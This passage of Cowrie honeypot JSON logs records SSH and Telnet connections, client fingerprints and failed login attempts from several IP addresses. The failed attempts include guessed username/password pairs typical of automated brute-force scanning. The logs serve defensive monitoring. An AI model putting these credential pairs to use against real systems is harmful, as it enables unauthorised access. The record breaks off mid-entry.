{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:08.533373Z","src_ip":"91.92.42.227","session":"766aa411c51e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stack","password":"stack","message":"login attempt [stack/stack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:12.740652Z","src_ip":"91.92.42.227","session":"766aa411c51e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":51740,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f958c675ed1","protocol":"ssh","message":"New connection: 80.94.92.184:51740 (159.203.135.109:22) [session: 3f958c675ed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:13.222686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:13.913552Z","src_ip":"80.94.92.184","session":"3f958c675ed1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:14.228528Z","src_ip":"80.94.92.184","session":"3f958c675ed1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:14.361372Z","src_ip":"91.92.42.227","session":"766aa411c51e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.37.220.188","src_port":59160,"dst_ip":"159.203.135.109","dst_port":23,"session":"97a939de4e1d","protocol":"telnet","message":"New connection: 102.37.220.188:59160 (159.203.135.109:23) [session: 97a939de4e1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:14.877648Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":44460,"dst_ip":"10.17.0.5","dst_port":22,"session":"53746f8e6609","protocol":"ssh","message":"New connection: 91.92.42.227:44460 (10.17.0.5:22) [session: 53746f8e6609]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:15.606467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:15.901772Z","src_ip":"91.92.42.227","session":"53746f8e6609","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:15.904613Z","src_ip":"91.92.42.227","session":"53746f8e6609","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv123","message":"login attempt [solv/solv123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:16.999436Z","src_ip":"80.94.92.184","session":"3f958c675ed1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:17.850616Z","src_ip":"91.92.42.227","session":"53746f8e6609","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:18.180828Z","src_ip":"80.94.92.184","session":"3f958c675ed1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":34700,"dst_ip":"159.203.135.109","dst_port":22,"session":"a84c3ecd9cac","protocol":"ssh","message":"New connection: 37.233.85.71:34700 (159.203.135.109:22) [session: a84c3ecd9cac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:18.578298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:18.583013Z","src_ip":"37.233.85.71","session":"a84c3ecd9cac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:18.696104Z","src_ip":"37.233.85.71","session":"a84c3ecd9cac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kawaii","message":"login attempt [root/kawaii] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:19.034706Z","src_ip":"37.233.85.71","session":"a84c3ecd9cac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:19.123590Z","src_ip":"91.92.42.227","session":"53746f8e6609","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":62662,"dst_ip":"10.17.0.5","dst_port":22,"session":"241357fe91c5","protocol":"ssh","message":"New connection: 194.59.206.2:62662 (10.17.0.5:22) [session: 241357fe91c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:19.827872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:19.832666Z","src_ip":"194.59.206.2","session":"241357fe91c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:19.925067Z","src_ip":"194.59.206.2","session":"241357fe91c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:20.019774Z","src_ip":"194.59.206.2","session":"241357fe91c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:20.150603Z","src_ip":"37.233.85.71","session":"a84c3ecd9cac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":44516,"dst_ip":"10.17.0.5","dst_port":22,"session":"f917e984d2a0","protocol":"ssh","message":"New connection: 91.92.42.227:44516 (10.17.0.5:22) [session: f917e984d2a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:23.667568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:23.678676Z","src_ip":"91.92.42.227","session":"f917e984d2a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:23.756202Z","src_ip":"91.92.42.227","session":"f917e984d2a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1","message":"login attempt [admin1/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:24.126616Z","src_ip":"91.92.42.227","session":"f917e984d2a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:25.214175Z","src_ip":"91.92.42.227","session":"f917e984d2a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":42474,"dst_ip":"10.17.0.5","dst_port":22,"session":"f03f2e1629aa","protocol":"ssh","message":"New connection: 91.92.42.227:42474 (10.17.0.5:22) [session: f03f2e1629aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:30.470281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:30.757326Z","src_ip":"91.92.42.227","session":"f03f2e1629aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:30.763252Z","src_ip":"91.92.42.227","session":"f03f2e1629aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"abc123","message":"login attempt [test/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:32.363520Z","src_ip":"91.92.42.227","session":"f03f2e1629aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:34.046262Z","src_ip":"91.92.42.227","session":"f03f2e1629aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":44032,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fcb89320443","protocol":"telnet","message":"New connection: 94.23.66.112:44032 (10.17.0.5:23) [session: 3fcb89320443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:36.242491Z"}
{"eventid":"cowrie.session.closed","duration":0.003889322280883789,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:36.246238Z","src_ip":"94.23.66.112","session":"3fcb89320443","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":59928,"dst_ip":"10.17.0.5","dst_port":22,"session":"0497ed6c0944","protocol":"ssh","message":"New connection: 91.92.42.227:59928 (10.17.0.5:22) [session: 0497ed6c0944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:37.057300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:37.750482Z","src_ip":"91.92.42.227","session":"0497ed6c0944","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:37.754002Z","src_ip":"91.92.42.227","session":"0497ed6c0944","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:39.671662Z","src_ip":"91.92.42.227","session":"0497ed6c0944","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":33500,"dst_ip":"10.17.0.5","dst_port":22,"session":"c40c027be865","protocol":"ssh","message":"New connection: 87.251.64.176:33500 (10.17.0.5:22) [session: c40c027be865]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:40.977261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:40.983472Z","src_ip":"87.251.64.176","session":"c40c027be865","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.